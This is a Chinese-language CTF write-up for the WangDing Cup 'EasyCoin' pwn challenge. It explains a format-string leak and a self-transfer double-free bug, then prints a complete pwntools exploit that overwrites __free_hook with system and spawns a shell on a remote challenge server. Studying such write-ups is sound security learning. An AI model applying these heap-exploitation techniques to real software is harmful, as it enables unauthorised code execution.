原版的exp是这 网鼎杯-EasyCoin | e3pem's Blog
看了半天好不容易弄明白。
漏洞点有两个,第1个比较容易,登录后输入4个字符不在菜单里的就直接printf,不过就4位也干不了嘛。把0-9都试一遍找到3和9分别是libc.write+0x10和heap_base+0x10也算是有用
default:
printf("[-] Unknown Command: ");
printf(buf); // fmtstr不正确的输入可以执行printf(...)
break;
第2个漏洞是当自己给自己转账的时候当删除用户时先删除对方凭证再删除自己的凭证。在删对方凭证时从对方链里找,这里当一个块被删除后fd的位置就是上一个块的开始位置与下一块指针就差-10。
free自己的部分
free(*a1);
free(a1[1]);
if ( a1[3] ) // 删除交易信息
{
v4 = a1[3];
while ( 1 )
{
sub_4012A0(v4[1], v4[2]); // 删除收款方的交易信息 按对方用户名删除,仅检查用户
if ( !*v4 )
break;
ptr = v4;
v4 = (_QWORD *)*v4;
ptr[1] = 0LL;
*ptr = 0LL;
free(ptr);
}
free(v4);
调用sub_4012A0删除别人的手里的凭证
if ( *(_QWORD *)(a1 + 24) )
{
v4 = 0LL;
for ( ptr = *(_QWORD **)(a1 + 24); ptr[2] != a2; ptr = (_QWORD *)*ptr )// 相同凭证号的
{
if ( !*ptr )
goto LABEL_11;
v4 = ptr;
}
if ( v4 )
*v4 = *ptr;
else
*(_QWORD *)(a1 + 24) = *ptr;
free(ptr);
result = 0LL;
}
在这里当free 100后再 free 0d0 ,原来0d0的位置变所上一个块的起始位置0f0而对方是自己,就时会把0f0当成下个凭证的指针继续找,提前在0f0位置写上一个正确的指针:有块头可以被free,有相同的凭证号可以通过检查。这个块就会被free 。
这里由于free掉对方后还会free自己的凭证会形成double free,但这里已经得到重叠块不需要loop了。
free以后得到 0a0<-1390<-070<-1360<-070 loop
先将前两个耗掉,并且把070的fd置0(通过0块的修改密码功能)取消loop,再建一个用户用070作为管理块,这样0块修改密码就能控制新块的管理块的指针。这里将新块password指针指到__free_hook.然后用新块登录修改密码(改__free_hook里的值)为system
这时候free_hook劫持已完成,再建个块写入/bin/sh 然后free掉就行了。
from pwn import *
'''
patchelf --set-interpreter ../buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed ../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27049)
libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
menu = b"> "
def add_user(username,password):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Please input username\n> ", username)
p.sendlineafter(b"Please input password\n> ", password)
p.sendlineafter(b"Verify input password\n> ", password)
def login(username, password):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Please input username\n> ", username)
p.sendlineafter(b"Please input password\n> ", password)
#after login
def show_user():
p.sendlineafter(menu, b'1')
def send_coin(username, cnt):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"What user do you send to?\n> ", username)
p.sendlineafter(b"Hom many?\n> ", str(cnt).encode())
def show_tran():
p.sendlineafter(menu, b'3')
def edit_password(new_pass):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Please input password\n> ", new_pass)
def free_user():
p.sendlineafter(menu, b'5')
def logout():
p.sendlineafter(menu, b'6')
def other_cmd(cmd):
p.sendafter(menu, cmd.encode())
#gdb.attach(p, 'b*0x401489\nb*0x4014bb')
add_user(b'A', b'A'*16+b'\x30')
add_user(b'B', b'B')
add_user(b'C', b'C')
login(b'A', b'A'*16+b'\x30')
'''
for i in range(10):
other_cmd(f'%{i}$p')
'''
other_cmd('%3$p')
p.recvuntil(b'Command: 0x')
libc_base = int(p.recv(12), 16) -0x10 - libc_elf.sym['write']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
other_cmd('%9$p')
p.recvuntil(b'Command: 0x')
heap_base = int(p.recvuntil(b'\x7f')[:-2], 16) -0x10
print('heap:', hex(heap_base))
edit_password(p64(heap_base + 0x70))
#pzh = 0x31
[send_coin(b'C',1) for i in range(0x2e)]
logout()
login(b'B', b'B')
send_coin(b'A', 1)
free_user()
add_user(b'B', b'B')
login(b'B', b'B')
send_coin(b'A', heap_base + 0x70) #money = next_ptr
send_coin(b'B', 2)
'''
0x1f62070: 0x0000000001f620c0 0x414141414141410a <- password fake
0x1f62080: 0x0000000000000030 0x0000000000000000 <- fake_pzh 0x30
0x1f62090: 0x0000000000000000 0x0000000000000031
0x1f620a0: 0x0000000001f63330 0x0000000001f63300
0x1f620b0: 0x0000000039a4a990 0x0000000001f620d0
0x1f620c0: 0x0000000000000000 0x0000000000000031
0x1f620d0: 0x0000000001f620f0 0x0000000000000000 <- free 0d0 fastbin:fd= 0f0 ,fake_next:0f0=070
0x1f620e0: 0x000000000000002f 0x0000000000000000
0x1f620f0: 0x0000000001f62070 0x0000000000000031
0x1f62100: 0x0000000001f632f0 0x0000000001f620a0
0x1f62110: 0x000000000000002f 0x0000000000000001
0x1f62120: 0x0000000001f62070 0x0000000000000031
'''
free_user()
#0a0 <- 1390 <- 070 <- 1360 <- 070 loop
context.log_level = 'debug'
login(b'A', p64(heap_base + 0x1350))
send_coin('C', 1)
edit_password(b'\x00'*0x10) #clear loop fastbin:070
logout()
add_user(b'D', b'D') #manage_chunk = 070 = A.chunk_password
login(b'A', p64(heap_base + 0x13c0))
edit_password(p64(heap_base + 0x13c0) + p64(libc_elf.sym['__free_hook'])) #D->password:free_hook
logout()
login(b'D', b'\x00')
edit_password(p64(libc_elf.sym['system'])) #free_hook->system
logout()
add_user(b'E', b'/bin/sh')
login(b'E', b'/bin/sh')
free_user()
p.sendline(b'cat /flag')
p.interactive()